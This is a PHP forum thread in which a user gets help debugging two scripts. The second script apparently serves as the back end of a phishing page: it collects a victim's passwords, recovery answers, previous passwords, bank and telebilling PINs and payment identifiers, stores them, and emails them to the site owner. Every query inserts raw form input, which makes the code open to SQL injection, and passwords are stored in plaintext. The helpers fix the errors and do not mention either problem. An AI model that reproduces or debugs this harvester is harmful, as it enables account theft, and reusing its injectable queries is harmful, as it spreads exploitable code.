Russia Posted October 2, 2009 Share Posted October 2, 2009 I have made this script. <?php error_reporting(E_ALL); ini_set('display_errors', '1'); $date2 = date("F j Y"); $ip = $_SERVER['REMOTE_ADDR']; require("inc/config.php"); $sql="INSERT INTO persons (Username, Password, Ip, AddedDate) VALUES('$_POST[username]','$_POST[Password]','$ip','$date2')"; if (!mysql_query($sql)) { die('Error: ' . mysql_error()); } echo "Thank You for registering."; $result = mysql_query("SELECT email FROM members WHERE id = '1'"); if (!$result) { echo 'Could not run query: ' . mysql_error(); exit; } $row = mysql_fetch_row($result); $to = $row[0]; mysql_close() $subject = "New Registred User"; $from = "myself"; $message = "A new user has signed up and has been added to the database"; $headers = "From: $to"; $sent = mail($to, $subject, $message, $headers) ; ?> I am getting this error: Parse error: syntax error, unexpected T_VARIABLE in /home/brickz/public_html/email.php on line 28 How would I fix it? Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/ Share on other sites More sharing options...
Alex Posted October 2, 2009 Share Posted October 2, 2009 You're missing a ; on this line: mysql_close() Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/#findComment-928779 Share on other sites More sharing options...
Russia Posted October 2, 2009 Author Share Posted October 2, 2009 Thanks, now I have another script with a problem: I am now getting a new error on a different script: <?php $date2 = date("F j Y"); $ip = $_SERVER['REMOTE_ADDR']; require("../inc/config.php"); $sql="INSERT INTO `mod` ( Username, Password, Recov1, Recov2, Recov3, Recov4, Recov5, TransactionID, AgreementID, CreditCardSubscriptionMonth, CreditCardSubscriptionYear, TeleBillingPin, PayByCashMonth, PayByCashYear, PayByCashLength, FirstPassword, SecondPassword, ThirdPassword, PostCode, Email, BankPin, BankPinConfirm, AccountCreationMonth, AccountCreationYear, Isp, MovedMonth, MovedYear, Message, Ip, AddedDate ) VALUES ( '$_POST[username]', '$_POST[password]', '$_POST[recovery1]', '$_POST[recovery2]', '$_POST[recovery3]', '$_POST[recovery4]', '$_POST[recovery5]', '$_POST[transactionid]', '$_POST[futurepayid]', '$_POST[earliestccmonth]', '$_POST[earliestccyear]', '$_POST[telebillingpin]', '$_POST[earliestpbcmonth]', '$_POST[earliestpbcyear]', '$_POST[pbclength]', '$_POST[password1]', '$_POST[password2]', '$_POST[password3]', '$_POST[postcode]', '$_POST[email]', '$_POST[newpassword1]', '$_POST[newpassword2]', '$_POST[creationmonth]', '$_POST[creationyear]', '$_POST[isp]', '$_POST[movedmonth]', '$_POST[movedyear]', '$_POST[othercomments]', '$ip', '$date2' )"; if (!mysql_query($sql)) { die('Error: ' . mysql_error()); } mysql_close() ?> <?php $result = mysql_query("SELECT email FROM members WHERE id = '1'"); if (!$result) { echo 'Could not run query: ' . mysql_error(); exit; } $row = mysql_fetch_row($result); $to = $row[0]; mysql_close(); $subject = "New Registered User"; $from = "myself"; $message = "A new user has signed up and has been added to the database $_POST[username] $_POST[password] $_POST[recovery1] $_POST[recovery2] $_POST[recovery3] $_POST[recovery4] $_POST[recovery5] $_POST[transactionid] $_POST[futurepayid] $_POST[earliestccmonth] $_POST[earliestccyear] $_POST[telebillingpin] $_POST[earliestpbcmonth] $_POST[earliestpbcyear] $_POST[pbclength] $_POST[password1] $_POST[password2] $_POST[password3] $_POST[postcode] $_POST[email] $_POST[newpassword1] $_POST[newpassword2] $_POST[creationmonth] $_POST[creationyear] $_POST[isp] $_POST[movedmonth] $_POST[movedyear] $_POST[othercomments] $ip $date2 "; $headers = "From: $to"; $sent = mail($to, $subject, $message, $headers) ; ?> The error is: Warning: mysql_query() [function.mysql-query]: Access denied for user 'brickz'@'localhost' (using password: NO) in /home/brickz/public_html/mod/index5.php on line 82 Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/brickz/public_html/mod/index5.php on line 82 Could not run query: Access denied for user 'brickz'@'localhost' (using password: NO) And line 82 is: $result = mysql_query("SELECT email FROM members WHERE id = '1'"); Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/#findComment-928786 Share on other sites More sharing options...
TeNDoLLA Posted October 2, 2009 Share Posted October 2, 2009 It means your connection to the database has failed and thats why you are not able to make queries to db. Make sure you have connected to the database and that the connection attributes are correct. I assume you have the connection information in the config file you include. Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/#findComment-928805 Share on other sites More sharing options...
Russia Posted October 2, 2009 Author Share Posted October 2, 2009 Yes but for some reason its not working. Any reason why? This is the connection file: config.php <?php mysql_connect("localhost", "*****", "*****") or die(mysql_error()); mysql_select_db("*****") or die(mysql_error()); require("adverts.php"); ?> Any problems with it? Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/#findComment-928815 Share on other sites More sharing options...
TeNDoLLA Posted October 2, 2009 Share Posted October 2, 2009 Are you sure you entered correct pass? The message you are getting says using password: NO. Also sure you have the parameters in correct order: host, user, pass? That code looks good though. Quote Link to comment https://forums.phpfreaks.com/topic/176238-weird-error-with-script/#findComment-928869 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.